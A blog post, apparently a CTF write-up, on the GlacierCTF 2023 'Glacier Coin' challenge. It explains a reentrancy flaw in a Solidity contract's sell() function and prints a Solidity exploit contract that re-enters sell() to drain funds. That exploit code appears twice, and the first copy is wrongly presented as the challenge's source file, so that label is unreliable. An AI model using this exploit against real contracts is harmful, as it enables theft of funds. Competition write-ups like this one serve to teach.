Glacier CTF 2023 Writeup

Published on 8th December 2023 by 0xrudra

Embarking on a journey to regularly update my blog, here's my initial attempt at a CTF write-up. I participated in GlacierCTF with my team, thehackerscrew, and we achieved an impressive 5th place finish.

Glacier Coin

We were given the source file which looks like this:


// SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    import "./Challenge.sol";
    
    contract Exploit {
        GlacierCoin public coin; 
        constructor(address _target) payable {
            coin = GlacierCoin(_target);
        }
        
        fallback() external payable {
    
           coin.sell(10 ether);
            
        }
        function attack() external payable {
            coin.buy{value: 10 ether}();
            coin.sell(10 ether);
        }

A careful examination reveals a pattern characteristic of the well-known reentrancy attack: (msg.sender).call{value: amount}("");. This pattern enables the caller, or 'msg.sender', to initiate a callback to their own address, potentially a smart contract. To delve deeper into reentrancy attacks, you can find more information here.

The 'sell()' function in our context lacks a reentrancy guard and doesn't adhere to the checks-effects-interactions pattern. Consequently, invoking 'sell()' from a smart contract allows for the possibility of reentering the same function. As the contract attempts to transfer funds, our contract can trigger 'sell()' again. Since the contract's state isn't updated immediately, it erroneously permits the redemption of more funds than were initially deposited.

// SPDX-License-Identifier: MIT
        pragma solidity ^0.8.0;
        
        import "./Challenge.sol";
        
        contract Exploit {
            GlacierCoin public coin; 
            constructor(address _target) payable {
                coin = GlacierCoin(_target);
            }
            
            fallback() external payable {
        
               coin.sell(10 ether);
                
            }
            function attack() external payable {
                coin.buy{value: 10 ether}();
                coin.sell(10 ether);
            }
Back